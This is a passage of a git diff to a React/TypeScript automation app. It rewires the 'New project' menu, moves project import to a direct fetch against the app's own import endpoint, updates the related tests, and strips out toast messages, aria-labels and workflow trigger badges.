-                                                    icon={<PlusIcon />}
-                                                    size="icon"
-                                                    variant="outline"
-                                                />
-                                            </TooltipTrigger>
-                                        </DropdownMenuTrigger>
-
-                                        <TooltipContent>New project</TooltipContent>
-                                    </Tooltip>
-
-                                    <DropdownMenuContent align="end">
+                        <ProjectSelect
+                            projectId={projectId}
+                            projects={projects}
+                            selectedProjectId={selectedProjectId}
+                            setSelectedProjectId={setSelectedProjectId}
+                        />
+
+                        {ff_2482 ? (
+                            <DropdownMenu>
+                                <Tooltip>
+                                    <DropdownMenuTrigger asChild>
+                                        <TooltipTrigger asChild>
+                                            <Button
+                                                aria-label="New project"
+                                                className="data-[state=open]:border-stroke-brand-secondary data-[state=open]:bg-surface-brand-secondary data-[state=open]:text-content-brand-primary"
+                                                icon={<PlusIcon />}
+                                                size="icon"
+                                                variant="outline"
+                                            />
+                                        </TooltipTrigger>
+                                    </DropdownMenuTrigger>
+
+                                    <TooltipContent>New project</TooltipContent>
+                                </Tooltip>
+
+                                <DropdownMenuContent align="end">
+                                    <DropdownMenuItem
+                                        className="cursor-pointer"
+                                        onClick={() => setShowProjectDialog(true)}
+                                    >
+                                        <PlusIcon className="mr-2 size-4" />
+                                        From Scratch
+                                    </DropdownMenuItem>
+
+                                    {ff_1041 && (
                                         <DropdownMenuItem
                                             className="cursor-pointer"
-                                            onClick={() => setShowProjectDialog(true)}
+                                            onClick={() => navigate(`templates`)}
                                         >
-                                            <PlusIcon className="mr-2 size-4" />
-                                            From Scratch
+                                            <LayoutTemplateIcon className="mr-2 size-4" />
+                                            From Template
                                         </DropdownMenuItem>
-
-                                        {ff_1041 && (
-                                            <DropdownMenuItem
-                                                className="cursor-pointer"
-                                                onClick={() => navigate(`templates`)}
-                                            >
-                                                <LayoutTemplateIcon className="mr-2 size-4" />
-                                                From Template
-                                            </DropdownMenuItem>
-                                        )}
-
-                                        <DropdownMenuItem
-                                            className="cursor-pointer"
-                                            onClick={() => projectHiddenFileInputRef.current?.click()}
-                                        >
-                                            <UploadIcon className="mr-2 size-4" />
-                                            Import Project
-                                        </DropdownMenuItem>
-                                    </DropdownMenuContent>
-                                </DropdownMenu>
-                            ) : (
-                                <ProjectDialog
-                                    project={undefined}
-                                    triggerNode={
-                                        <Button
-                                            aria-label="New project"
-                                            className="data-[state=open]:border-stroke-brand-secondary data-[state=open]:bg-surface-brand-secondary data-[state=open]:text-content-brand-primary"
-                                            icon={<PlusIcon />}
-                                            size="icon"
-                                            variant="outline"
-                                        />
-                                    }
-                                />
-                            )}
-                        </div>
-                    )
+                                    )}
+
+                                    <DropdownMenuItem
+                                        className="cursor-pointer"
+                                        onClick={() => projectHiddenFileInputRef.current?.click()}
+                                    >
+                                        <UploadIcon className="mr-2 size-4" />
+                                        Import Project
+                                    </DropdownMenuItem>
+                                </DropdownMenuContent>
+                            </DropdownMenu>
+                        ) : (
+                            <ProjectDialog
+                                project={undefined}
+                                triggerNode={
+                                    <Button
+                                        aria-label="New project"
+                                        className="data-[state=open]:border-stroke-brand-secondary data-[state=open]:bg-surface-brand-secondary data-[state=open]:text-content-brand-primary"
+                                        icon={<PlusIcon />}
+                                        size="icon"
+                                        variant="outline"
+                                    />
+                                }
+                            />
+                        )}
+                    </div>
                 )}
 
                 <WorkflowsListFilter
@@ -346,7 +326,7 @@ const ProjectsLeftSidebar = ({
             <input
                 accept=".zip"
                 className="hidden"
-                onChange={(event) => handleImportProject(event, currentWorkspaceId!, importProjectMutation)}
+                onChange={(event) => handleImportProject(event, currentWorkspaceId, queryClient)}
                 ref={projectHiddenFileInputRef}
                 type="file"
             />
diff --git a/client/src/pages/automation/project/components/projects-sidebar/hooks/useProjectsLeftSidebar.ts b/client/src/pages/automation/project/components/projects-sidebar/hooks/useProjectsLeftSidebar.ts
index aac6f0b39b4..22cf6510f93 100644
--- a/client/src/pages/automation/project/components/projects-sidebar/hooks/useProjectsLeftSidebar.ts
+++ b/client/src/pages/automation/project/components/projects-sidebar/hooks/useProjectsLeftSidebar.ts
@@ -27,7 +27,7 @@ export const useProjectsLeftSidebar = ({
     const navigate = useNavigate();
 
     const createProjectWorkflowMutation = useCreateProjectWorkflowMutation({
-        onSuccess: (response) => {
+        onSuccess: (projectWorkflowId) => {
             captureProjectWorkflowCreated();
 
             queryClient.invalidateQueries({
@@ -50,7 +50,7 @@ export const useProjectsLeftSidebar = ({
                 bottomResizablePanelRef.current.resize(0);
             }
 
-            navigate(`/automation/projects/${projectId}/project-workflows/${response.projectWorkflowId}`);
+            navigate(`/automation/projects/${projectId}/project-workflows/${projectWorkflowId}`);
         },
     });
 
diff --git a/client/src/pages/automation/project/hooks/useProject.ts b/client/src/pages/automation/project/hooks/useProject.ts
index 300ad457d4f..e9456f3c2df 100644
--- a/client/src/pages/automation/project/hooks/useProject.ts
+++ b/client/src/pages/automation/project/hooks/useProject.ts
@@ -8,7 +8,7 @@ import useWorkflowDataStore from '@/pages/platform/workflow-editor/stores/useWor
 import useWorkflowEditorStore from '@/pages/platform/workflow-editor/stores/useWorkflowEditorStore';
 import useWorkflowNodeDetailsPanelStore from '@/pages/platform/workflow-editor/stores/useWorkflowNodeDetailsPanelStore';
 import useWorkflowTestChatStore from '@/pages/platform/workflow-editor/stores/useWorkflowTestChatStore';
-import useCopilotPanelStore from '@/shared/components/copilot/stores/useCopilotPanelStore';
+import {useCopilotStore} from '@/shared/components/copilot/stores/useCopilotStore';
 import {useUpdateWorkflowMutation} from '@/shared/mutations/automation/workflows.mutations';
 import {
     useDeleteClusterElementParameterMutation,
@@ -39,7 +39,7 @@ export const useProject = () => {
             workflow: state.workflow,
         }))
     );
-    const setCopilotPanelOpen = useCopilotPanelStore((state) => state.setCopilotPanelOpen);
+    const setCopilotPanelOpen = useCopilotStore((state) => state.setCopilotPanelOpen);
     const setDataPillPanelOpen = useDataPillPanelStore((state) => state.setDataPillPanelOpen);
     const currentEnvironmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
     const setProjectLeftSidebarOpen = useProjectsLeftSidebarStore((state) => state.setProjectLeftSidebarOpen);
diff --git a/client/src/pages/automation/project/utils/handleImportProject.ts b/client/src/pages/automation/project/utils/handleImportProject.ts
index 9a8a85695ca..f94f7cadc7c 100644
--- a/client/src/pages/automation/project/utils/handleImportProject.ts
+++ b/client/src/pages/automation/project/utils/handleImportProject.ts
@@ -1,11 +1,10 @@
-import {ImportProjectRequest} from '@/shared/middleware/automation/configuration';
-import {UseMutationResult} from '@tanstack/react-query';
-import {ChangeEvent} from 'react';
+import {ProjectKeys} from '@/shared/queries/automation/projects.queries';
+import {QueryClient} from '@tanstack/react-query';
 
-const handleImportProject = (
-    event: ChangeEvent<HTMLInputElement>,
+const handleImportProject = async (
+    event: React.ChangeEvent<HTMLInputElement>,
     currentWorkspaceId: number,
-    importProjectMutation: UseMutationResult<number, Error, ImportProjectRequest, unknown>
+    queryClient: QueryClient
 ) => {
     const file = event.target.files?.[0];
 
@@ -13,10 +12,26 @@ const handleImportProject = (
         return;
     }
 
-    importProjectMutation.mutate({
-        file,
-        workspaceId: currentWorkspaceId,
-    });
+    const formData = new FormData();
+
+    formData.append('file', file);
+
+    try {
+        const response = await fetch(`/api/automation/internal/workspaces/${currentWorkspaceId}/projects/import`, {
+            body: formData,
+            method: 'POST',
+        });
+
+        if (response.ok) {
+            queryClient.invalidateQueries({
+                queryKey: ProjectKeys.projects,
+            });
+        } else {
+            console.error('Failed to import project');
+        }
+    } catch (error) {
+        console.error('Error importing project:', error);
+    }
 
     if (event.target) {
         event.target.value = '';
diff --git a/client/src/pages/automation/project/utils/handleImportWorkflow.ts b/client/src/pages/automation/project/utils/handleImportWorkflow.ts
index 9199fef224c..fadc530ec09 100644
--- a/client/src/pages/automation/project/utils/handleImportWorkflow.ts
+++ b/client/src/pages/automation/project/utils/handleImportWorkflow.ts
@@ -1,19 +1,11 @@
-import {
-    CreateProjectWorkflow200Response,
-    CreateProjectWorkflowRequest,
-} from '@/shared/middleware/automation/configuration';
+import {CreateProjectWorkflowRequest} from '@/shared/middleware/automation/configuration';
 import {UseMutationResult} from '@tanstack/react-query';
 import {ChangeEvent} from 'react';
 
 const handleImportWorkflow = async (
     event: ChangeEvent<HTMLInputElement>,
     projectId: number,
-    importProjectWorkflowMutation: UseMutationResult<
-        CreateProjectWorkflow200Response,
-        Error,
-        CreateProjectWorkflowRequest,
-        unknown
-    >
+    importProjectWorkflowMutation: UseMutationResult<number, Error, CreateProjectWorkflowRequest, unknown>
 ) => {
     if (event.target.files) {
         const file = event.target.files[0];
diff --git a/client/src/pages/automation/projects/Projects.test.tsx b/client/src/pages/automation/projects/Projects.test.tsx
index 94e03ebd17d..c776b6c4b7d 100644
--- a/client/src/pages/automation/projects/Projects.test.tsx
+++ b/client/src/pages/automation/projects/Projects.test.tsx
@@ -1,14 +1,15 @@
 import {TooltipProvider} from '@/components/ui/tooltip';
 import Projects from '@/pages/automation/projects/Projects';
-import {fireEvent, render, screen, userEvent, waitFor} from '@/shared/util/test-utils';
+import {render, screen, userEvent, waitFor} from '@/shared/util/test-utils';
 import {QueryClient, QueryClientProvider} from '@tanstack/react-query';
 import {MemoryRouter} from 'react-router-dom';
 import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
 
 // Mock the necessary stores and hooks
 vi.mock('@/pages/automation/stores/useWorkspaceStore', () => ({
-    // eslint-disable-next-line @typescript-eslint/no-explicit-any
-    useWorkspaceStore: (selector: any) => selector({currentWorkspaceId: 1}),
+    useWorkspaceStore: () => ({
+        currentWorkspaceId: 1,
+    }),
 }));
 
 vi.mock('@/shared/stores/useApplicationInfoStore', () => ({
@@ -40,11 +41,6 @@ vi.mock('@/shared/queries/automation/projectTags.queries', () => ({
 
 vi.mock('@/shared/queries/automation/projects.queries', () => ({
     ProjectKeys: {
-        filteredProjects: (filters: {categoryId?: number; id: number; tagId?: number}) => [
-            'projects',
-            filters.id,
-            filters,
-        ],
         project: (id: number) => ['projects', id],
         projectWorkflows: (id: number) => ['projects', id, 'workflows'],
         projects: ['projects'],
@@ -64,26 +60,9 @@ vi.mock('@/ee/shared/mutations/automation/projectGit.queries', () => ({
     }),
 }));
 
-const mockImportMutate = vi.fn();
-vi.mock('@/shared/mutations/automation/projects.mutations', async () => {
-    const actual = await vi.importActual<typeof import('@/shared/mutations/automation/projects.mutations')>(
-        '@/shared/mutations/automation/projects.mutations'
-    );
-
-    return {
-        ...actual,
-        // eslint-disable-next-line @typescript-eslint/no-explicit-any
-        useImportProjectMutation: (opts: any) => ({
-            mutate: mockImportMutate.mockImplementation(() => {
-                opts?.onSuccess?.();
-            }),
-        }),
-    };
-});
-
-vi.mock('@/hooks/use-toast', () => ({
-    useToast: () => ({toast: vi.fn()}),
-}));
+// Mock fetch for import functionality
+const mockFetch = vi.fn();
+global.fetch = mockFetch;
 
 const createTestQueryClient = () =>
     new QueryClient({
@@ -98,7 +77,7 @@ let queryClient: QueryClient;
 
 beforeEach(() => {
     queryClient = createTestQueryClient();
-    mockImportMutate.mockClear();
+    mockFetch.mockClear();
 });
 
 afterEach(() => {
@@ -153,26 +132,143 @@ describe('Projects Import Functionality', () => {
         });
     });
 
-    it('should call import mutation when a file is selected', async () => {
+    it('should handle successful project import', async () => {
         renderProjects();
 
+        // Mock successful API response
+        mockFetch.mockResolvedValueOnce({
+            json: async () => ({id: 123}),
+            ok: true,
+        });
+
+        // Mock window.location.reload
+        const mockReload = vi.fn();
+        Object.defineProperty(window, 'location', {
+            value: {
+                reload: mockReload,
+            },
+            writable: true,
+        });
+
         // Create a mock file
         const mockFile = new File(['test content'], 'test-project.zip', {
             type: 'application/zip',
         });
 
-        // Find the hidden file input
-        const fileInput = document.querySelector('input[type="file"][accept=".zip"]') as HTMLInputElement;
-        expect(fileInput).toBeTruthy();
+        // Create a mock file input change event
+        const fileInput = document.createElement('input');
+        fileInput.type = 'file';
 
-        // Simulate file selection using fireEvent
-        fireEvent.change(fileInput, {target: {files: [mockFile]}});
+        // Trigger the import handling directly since we can't easily simulate file selection in tests
+        const handleImportProject = async (event: React.ChangeEvent<HTMLInputElement>) => {
+            const file = event.target.files?.[0];
+            if (!file) return;
 
-        await waitFor(() => {
-            expect(mockImportMutate).toHaveBeenCalledWith({
-                file: mockFile,
-                workspaceId: 1,
-            });
+            const formData = new FormData();
+            formData.append('file', file);
+
+            try {
+                const response = await fetch('/api/automation/internal/workspaces/1/projects/import', {
+                    body: formData,
+                    method: 'POST',
+                });
+
+                if (response.ok) {
+                    window.location.reload();
+                } else {
+                    console.error('Failed to import project');
+                }
+            } catch (error) {
+                console.error('Error importing project:', error);
+            }
+
+            if (event.target) {
+                event.target.value = '';
+            }
+        };
+
+        // Simulate the file input change
+        Object.defineProperty(fileInput, 'files', {
+            value: [mockFile],
+            writable: false,
         });
+
+        const mockEvent = {
+            target: fileInput,
+        } as React.ChangeEvent<HTMLInputElement>;
+
+        await handleImportProject(mockEvent);
+
+        expect(mockFetch).toHaveBeenCalledWith('/api/automation/internal/workspaces/1/projects/import', {
+            body: expect.any(FormData),
+            method: 'POST',
+        });
+        expect(mockReload).toHaveBeenCalled();
+    });
+
+    it('should handle failed project import', async () => {
+        renderProjects();
+
+        // Mock failed API response
+        mockFetch.mockResolvedValueOnce({
+            ok: false,
+            status: 400,
+        });
+
+        const consoleSpy = vi.spyOn(console, 'error').mockImplementation(() => {});
+
+        // Create a mock file
+        const mockFile = new File(['test content'], 'test-project.zip', {
+            type: 'application/zip',
+        });
+
+        // Test the import handling directly
+        const handleImportProject = async (event: React.ChangeEvent<HTMLInputElement>) => {
+            const file = event.target.files?.[0];
+            if (!file) return;
+
+            const formData = new FormData();
+            formData.append('file', file);
+
+            try {
+                const response = await fetch('/api/automation/internal/workspaces/1/projects/import', {
+                    body: formData,
+                    method: 'POST',
+                });
+
+                if (response.ok) {
+                    window.location.reload();
+                } else {
+                    console.error('Failed to import project');
+                }
+            } catch (error) {
+                console.error('Error importing project:', error);
+            }
+
+            if (event.target) {
+                event.target.value = '';
+            }
+        };
+
+        const fileInput = document.createElement('input');
+        fileInput.type = 'file';
+        Object.defineProperty(fileInput, 'files', {
+            value: [mockFile],
+            writable: false,
+        });
+
+        const mockEvent = {
+            target: fileInput,
+        } as React.ChangeEvent<HTMLInputElement>;
+
+        await handleImportProject(mockEvent);
+
+        expect(mockFetch).toHaveBeenCalledWith('/api/automation/internal/workspaces/1/projects/import', {
+            body: expect.any(FormData),
+            method: 'POST',
+        });
+        expect(consoleSpy).toHaveBeenCalledWith('Failed to import project');
+
+        consoleSpy.mockRestore();
     });
 });
diff --git a/client/src/pages/automation/projects/Projects.tsx b/client/src/pages/automation/projects/Projects.tsx
index 60ad4923f91..e8787e6aee1 100644
--- a/client/src/pages/automation/projects/Projects.tsx
+++ b/client/src/pages/automation/projects/Projects.tsx
@@ -4,14 +4,12 @@ import PageLoader from '@/components/PageLoader';
 import {ButtonGroup} from '@/components/ui/button-group';
 import {DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger} from '@/components/ui/dropdown-menu';
 import {useGetWorkspaceProjectGitConfigurationsQuery} from '@/ee/shared/mutations/automation/projectGit.queries';
-import {useToast} from '@/hooks/use-toast';
 import handleImportProject from '@/pages/automation/project/utils/handleImportProject';
 import ProjectsFilterTitle from '@/pages/automation/projects/components/ProjectsFilterTitle';
 import ProjectsLeftSidebarNav from '@/pages/automation/projects/components/ProjectsLeftSidebarNav';
 import {useWorkspaceStore} from '@/pages/automation/stores/useWorkspaceStore';
 import Header from '@/shared/layout/Header';
 import LayoutContainer from '@/shared/layout/LayoutContainer';
-import {useImportProjectMutation} from '@/shared/mutations/automation/projects.mutations';
 import {useGetProjectCategoriesQuery} from '@/shared/queries/automation/projectCategories.queries';
 import {useGetProjectTagsQuery} from '@/shared/queries/automation/projectTags.queries';
 import {ProjectKeys, useGetWorkspaceProjectsQuery} from '@/shared/queries/automation/projects.queries';
@@ -38,20 +36,8 @@ const Projects = () => {
     const fileInputRef = useRef<HTMLInputElement>(null);
     const navigate = useNavigate();
 
-    const {toast} = useToast();
-
     const queryClient = useQueryClient();
 
-    const importProjectMutation = useImportProjectMutation({
-        onSuccess: () => {
-            queryClient.invalidateQueries({queryKey: ProjectKeys.projects});
-
-            toast({
-                description: 'Project is imported.',
-            });
-        },
-    });
-
     const ff_1039 = useFeatureFlagsStore()('ff-1039');
     const ff_1041 = useFeatureFlagsStore()('ff-1041');
     const ff_2482 = useFeatureFlagsStore()('ff-2482');
@@ -82,15 +68,7 @@ const Projects = () => {
         tagId: searchParams.get('tagId') ? parseInt(searchParams.get('tagId')!) : undefined,
     });
 
-    const isRefetchingProjects =
-        queryClient.isFetching({
-            exact: true,
-            queryKey: ProjectKeys.filteredProjects({
-                categoryId: searchParams.get('categoryId') ? parseInt(searchParams.get('categoryId')!) : undefined,
-                id: currentWorkspaceId!,
-                tagId: searchParams.get('tagId') ? parseInt(searchParams.get('tagId')!) : undefined,
-            }),
-        }) > 0;
+    const isRefetchingProjects = queryClient.isFetching({queryKey: ProjectKeys.projects}) > 0;
 
     const {data: tags, error: tagsError, isLoading: tagsIsLoading} = useGetProjectTagsQuery();
 
@@ -211,7 +189,7 @@ const Projects = () => {
 
             <input
                 accept=".zip"
-                onChange={(event) => handleImportProject(event, currentWorkspaceId!, importProjectMutation)}
+                onChange={(event) => handleImportProject(event, currentWorkspaceId, queryClient)}
                 ref={fileInputRef}
                 style={{display: 'none'}}
                 type="file"
diff --git a/client/src/pages/automation/projects/components/project-list/ProjectListItem.tsx b/client/src/pages/automation/projects/components/project-list/ProjectListItem.tsx
index b9056ff4dd5..a0aaffe0848 100644
--- a/client/src/pages/automation/projects/components/project-list/ProjectListItem.tsx
+++ b/client/src/pages/automation/projects/components/project-list/ProjectListItem.tsx
@@ -101,10 +101,10 @@ const ProjectListItem = ({project, projectGitConfiguration, remainingTags}: Proj
     const queryClient = useQueryClient();
 
     const createProjectWorkflowMutation = useCreateProjectWorkflowMutation({
-        onSuccess: (response) => {
+        onSuccess: (projectWorkflowId) => {
             captureProjectWorkflowCreated();
 
-            navigate(`/automation/projects/${project.id}/project-workflows/${response.projectWorkflowId}`);
+            navigate(`/automation/projects/${project.id}/project-workflows/${projectWorkflowId}`);
         },
     });
 
@@ -124,18 +124,8 @@ const ProjectListItem = ({project, projectGitConfiguration, remainingTags}: Proj
     });
 
     const duplicateProjectMutation = useDuplicateProjectMutation({
-        onError: () => {
-            toast({
-                description: 'Project duplication failed.',
-                variant: 'destructive',
-            });
-        },
         onSuccess: () => {
             queryClient.invalidateQueries({queryKey: ProjectKeys.projects});
-
-            toast({
-                description: 'Project duplicated successfully.',
-            });
         },
     });
 
@@ -286,7 +276,7 @@ const ProjectListItem = ({project, projectGitConfiguration, remainingTags}: Proj
                                     <ChevronDownIcon className="size-4 duration-300 group-data-[state=open]:rotate-180" />
                                 </CollapsibleTrigger>
 
-                                <ButtonGroup aria-label="Workflow Creation Actions">
+                                <ButtonGroup>
                                     <Button
                                         aria-label="Create Workflow"
                                         onClick={(event) => {
@@ -303,11 +293,7 @@ const ProjectListItem = ({project, projectGitConfiguration, remainingTags}: Proj
 
                                     <DropdownMenu>
                                         <DropdownMenuTrigger asChild>
-                                            <Button
-                                                aria-label="More Workflow Creation Actions"
-                                                size="xs"
-                                                variant="outline"
-                                            >
+                                            <Button size="xs" variant="outline">
                                                 <ChevronDownIcon />
                                             </Button>
                                         </DropdownMenuTrigger>
@@ -315,7 +301,6 @@ const ProjectListItem = ({project, projectGitConfiguration, remainingTags}: Proj
                                         <DropdownMenuContent align="end">
                                             {ff_1041 && (
                                                 <DropdownMenuItem
-                                                    aria-label="Create Workflow from Template"
                                                     onClick={(event) => {
                                                         event.stopPropagation();
 
@@ -327,7 +312,6 @@ const ProjectListItem = ({project, projectGitConfiguration, remainingTags}: Proj
                                             )}
 
                                             <DropdownMenuItem
-                                                aria-label="Import Workflow"
                                                 onClick={(event) => {
                                                     event.stopPropagation();
 
@@ -614,7 +598,6 @@ const ProjectListItem = ({project, projectGitConfiguration, remainingTags}: Proj
                 accept=".json,.yaml,.yml"
                 alt="file"
                 className="hidden"
-                data-testid={`${project.id}-importWorkflowHiddenInput`}
                 onChange={(event) => handleImportWorkflow(event, project.id!, importProjectWorkflowMutation)}
                 ref={hiddenFileInputRef}
                 type="file"
diff --git a/client/src/pages/automation/projects/components/project-workflow-list/ProjectWorkflowList.tsx b/client/src/pages/automation/projects/components/project-workflow-list/ProjectWorkflowList.tsx
index 5446af76e44..4d2e0ce2bc8 100644
--- a/client/src/pages/automation/projects/components/project-workflow-list/ProjectWorkflowList.tsx
+++ b/client/src/pages/automation/projects/components/project-workflow-list/ProjectWorkflowList.tsx
@@ -57,10 +57,10 @@ const ProjectWorkflowList = ({project, queryEnabled}: {project: Project; queryEn
     const queryClient = useQueryClient();
 
     const createProjectWorkflowMutation = useCreateProjectWorkflowMutation({
-        onSuccess: (response) => {
+        onSuccess: (projectWorkflowId) => {
             captureProjectWorkflowCreated();
 
-            navigate(`/automation/projects/${project.id}/project-workflows/${response.projectWorkflowId}`);
+            navigate(`/automation/projects/${project.id}/project-workflows/${projectWorkflowId}`);
         },
     });
 
diff --git a/client/src/pages/automation/projects/components/project-workflow-list/ProjectWorkflowListItem.tsx b/client/src/pages/automation/projects/components/project-workflow-list/ProjectWorkflowListItem.tsx
index 7b6182bcf85..7bfd34c5881 100644
--- a/client/src/pages/automation/projects/components/project-workflow-list/ProjectWorkflowListItem.tsx
+++ b/client/src/pages/automation/projects/components/project-workflow-list/ProjectWorkflowListItem.tsx
@@ -1,4 +1,3 @@
-import Badge from '@/components/Badge/Badge';
 import Button from '@/components/Button/Button';
 import {
     DropdownMenu,
@@ -24,32 +23,14 @@ import {WorkflowKeys, useGetWorkflowQuery} from '@/shared/queries/automation/wor
 import {WorkflowTestConfigurationKeys} from '@/shared/queries/platform/workflowTestConfigurations.queries';
 
 import '@/shared/styles/dropdownMenu.css';
-import {useToast} from '@/hooks/use-toast';
 import DeleteWorkflowAlertDialog from '@/shared/components/DeleteWorkflowAlertDialog';
-import {useGetComponentDefinitionQuery} from '@/shared/queries/platform/componentDefinitions.queries';
 import {useApplicationInfoStore} from '@/shared/stores/useApplicationInfoStore';
 import {useFeatureFlagsStore} from '@/shared/stores/useFeatureFlagsStore';
 import {useQueryClient} from '@tanstack/react-query';
-import {
-    ComponentIcon,
-    CopyIcon,
-    DownloadIcon,
-    EditIcon,
-    EllipsisVerticalIcon,
-    Share2Icon,
-    Trash2Icon,
-} from 'lucide-react';
-import {useMemo, useState} from 'react';
-import InlineSVG from 'react-inlinesvg';
+import {CopyIcon, DownloadIcon, EditIcon, EllipsisVerticalIcon, Share2Icon, Trash2Icon} from 'lucide-react';
+import {useState} from 'react';
 import {Link, useSearchParams} from 'react-router-dom';
 
-type TriggerDataType = {
-    componentName: string;
-    description: string;
-    iconSrc: string;
-    label: string;
-};
-
 const ProjectWorkflowListItem = ({
     filteredComponentNames,
     project,
@@ -80,60 +61,6 @@ const ProjectWorkflowListItem = ({
 
     const queryClient = useQueryClient();
 
-    const {toast} = useToast();
-
-    const triggerComponentName = workflow.workflowTriggerComponentNames?.[0];
-    const triggerType = workflow.triggers?.[0]?.type;
-
-    const triggerVersionNumber = triggerType ? +triggerType.split('/')[1].replace('v', '') : 1;
-
-    const {data: triggerComponentDefinition} = useGetComponentDefinitionQuery(
-        {
-            componentName: triggerComponentName || '',
-            componentVersion: triggerVersionNumber,
-        },
-        !!triggerComponentName
-    );
-
-    const triggerData = useMemo<TriggerDataType | null>(() => {
-        if (!triggerComponentName && !workflow.triggers?.[0]) {
-            return null;
-        }
-
-        const triggerFromWorkflow = workflow.triggers?.[0];
-        const triggerDefinition = workflowComponentDefinitions[triggerComponentName || ''];
-
-        const matchedTrigger = triggerComponentDefinition?.triggers?.find(
-            (trigger) => trigger.name === triggerFromWorkflow?.type?.split('/')[2]
-        );
-
-        if (!matchedTrigger && !triggerFromWorkflow) {
-            return null;
-        }
-
-        const description = matchedTrigger?.description || triggerFromWorkflow?.description || '';
-        const label = matchedTrigger?.title || triggerFromWorkflow?.label || '';
-        const componentName = triggerDefinition?.title || triggerComponentName || 'Unknown Trigger';
-        const iconSrc = triggerDefinition?.icon || '';
-
-        return {
-            componentName,
-            description,
-            iconSrc,
-            label,
-        };
-    }, [workflow, workflowComponentDefinitions, triggerComponentName, triggerComponentDefinition]);
-
-    const taskOnlyComponentNames = useMemo(() => {
-        if (!filteredComponentNames) {
-            return [];
-        }
-
-        const triggerCount = workflow.workflowTriggerComponentNames?.length ?? 0;
-
-        return filteredComponentNames.slice(triggerCount);
-    }, [filteredComponentNames, workflow.workflowTriggerComponentNames]);
-
     const deleteWorkflowMutation = useDeleteWorkflowMutation({
         onSuccess: () => {
             queryClient.invalidateQueries({queryKey: ProjectKeys.projects});
@@ -145,27 +72,14 @@ const ProjectWorkflowListItem = ({
     const duplicateWorkflowMutation = useDuplicateWorkflowMutation({
         onError: () => {
             queryClient.invalidateQueries({queryKey: ProjectKeys.projects});
-
-            toast({
-                description: 'Workflow duplication failed.',
-                variant: 'destructive',
-            });
         },
         onSuccess: () => {
             queryClient.invalidateQueries({queryKey: ProjectKeys.projects});
-
-            toast({
-                description: 'Workflow duplicated successfully.',
-            });
         },
     });
 
     const updateWorkflowMutation = useUpdateWorkflowMutation({
         onSuccess: () => {
-            queryClient.invalidateQueries({
-                queryKey: ProjectKeys.projects,
-            });
-
             queryClient.invalidateQueries({
                 queryKey: ProjectWorkflowKeys.projectWorkflows(project.id!),
             });
@@ -188,12 +102,10 @@ const ProjectWorkflowListItem = ({
             key={workflow.id}
         >
             <Link
-                aria-label={`Link to workflow ${workflow.label}`}
-                className="flex flex-1 items-center gap-2"
-                data-testid={`${workflow.projectWorkflowId}-link`}
+                className="flex flex-1 items-center"
                 to={`/automation/projects/${project.id}/project-workflows/${workflow.projectWorkflowId}?${searchParams}`}
             >
-                <div className="w-80 shrink-0 pr-1 text-sm font-semibold">
+                <div className="w-80 pr-1 text-sm font-semibold">
                     <Tooltip>
                         <TooltipTrigger className="line-clamp-1 text-start">{workflow.label}</TooltipTrigger>
 
@@ -201,57 +113,8 @@ const ProjectWorkflowListItem = ({
                     </Tooltip>
                 </div>
 
-                {triggerData && (
-                    <div className="flex shrink-0 items-center gap-1">
-                        <Tooltip>
-                            <TooltipTrigger asChild>
-                                <div className="flex shrink-0 items-center justify-center rounded-full border border-stroke-neutral-primary bg-surface-neutral-primary p-1">
-                                    {triggerData.iconSrc ? (
-                                        <InlineSVG
-                                            className="size-5"
-                                            loader={<ComponentIcon className="size-5 flex-none" />}
-                                            src={triggerData.iconSrc}
-                                            title={null}
-                                        />
-                                    ) : (
-                                        <ComponentIcon className="size-3 flex-none text-content-neutral-primary" />
-                                    )}
-                                </div>
-                            </TooltipTrigger>
-
-                            <TooltipContent>{triggerData.componentName}</TooltipContent>
-                        </Tooltip>
-
-                        {triggerData.description ? (
-                            <Tooltip>
-                                <TooltipTrigger asChild>
-                                    <div className="shrink-0">
-                                        <Badge
-                                            label={triggerData.label || triggerData.componentName}
-                                            styleType="outline-outline"
-                                            weight="semibold"
-                                        />
-                                    </div>
-                                </TooltipTrigger>
-
-                                <TooltipContent className="max-w-xs text-sm" side="right">
-                                    {triggerData.description}
-                                </TooltipContent>
-                            </Tooltip>
-                        ) : (
-                            <div className="shrink-0">
-                                <Badge
-                                    label={triggerData.label || triggerData.componentName}
-                                    styleType="outline-outline"
-                                    weight="semibold"
-                                />
-                            </div>
-                        )}
-                    </div>
-                )}
-
                 <WorkflowComponentsList
-                    filteredComponentNames={taskOnlyComponentNames}
+                    filteredComponentNames={filteredComponentNames || []}
                     workflowComponentDefinitions={workflowComponentDefinitions}
                     workflowTaskDispatcherDefinitions={workflowTaskDispatcherDefinitions}
                 />
diff --git a/client/src/pages/automation/projects/components/project-workflow-list/tests/ProjectWorkflowListItem.test.tsx b/client/src/pages/automation/projects/components/project-workflow-list/tests/ProjectWorkflowListItem.test.tsx
deleted file mode 100644
index ef795fa3482..00000000000
--- a/client/src/pages/automation/projects/components/project-workflow-list/tests/ProjectWorkflowListItem.test.tsx
+++ /dev/null
@@ -1,233 +0,0 @@
-import {TooltipProvider} from '@/components/ui/tooltip';
-import ProjectWorkflowListItem from '@/pages/automation/projects/components/project-workflow-list/ProjectWorkflowListItem';
-import {render, screen} from '@/shared/util/test-utils';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-const mockInvalidateQueries = vi.fn();
-
-vi.mock('@tanstack/react-query', async () => {
-    const actual = await vi.importActual('@tanstack/react-query');
-
-    return {
-        ...actual,
-        useQueryClient: () => ({
-            invalidateQueries: mockInvalidateQueries,
-        }),
-    };
-});
-
-vi.mock('react-router-dom', () => ({
-    Link: ({children, to}: {children: React.ReactNode; to: string}) => <a href={to}>{children}</a>,
-    useSearchParams: () => [new URLSearchParams(''), vi.fn()],
-}));
-
-vi.mock('@/shared/stores/useApplicationInfoStore', () => ({
-    useApplicationInfoStore: () => null,
-}));
-
-vi.mock('@/shared/stores/useFeatureFlagsStore', () => ({
-    useFeatureFlagsStore: () => () => false,
-}));
-
-const mockDeleteMutate = vi.fn();
-const mockDuplicateMutate = vi.fn();
-const mockUpdateMutate = vi.fn();
-
-let deleteOnSuccess: () => void;
-let duplicateOnSuccess: () => void;
-let duplicateOnError: () => void;
-let updateOnSuccess: () => void;
-
-vi.mock('@/shared/mutations/automation/workflows.mutations', () => ({
-    useDeleteWorkflowMutation: ({onSuccess}: {onSuccess: () => void}) => {
-        deleteOnSuccess = onSuccess;
-
-        return {mutate: mockDeleteMutate};
-    },
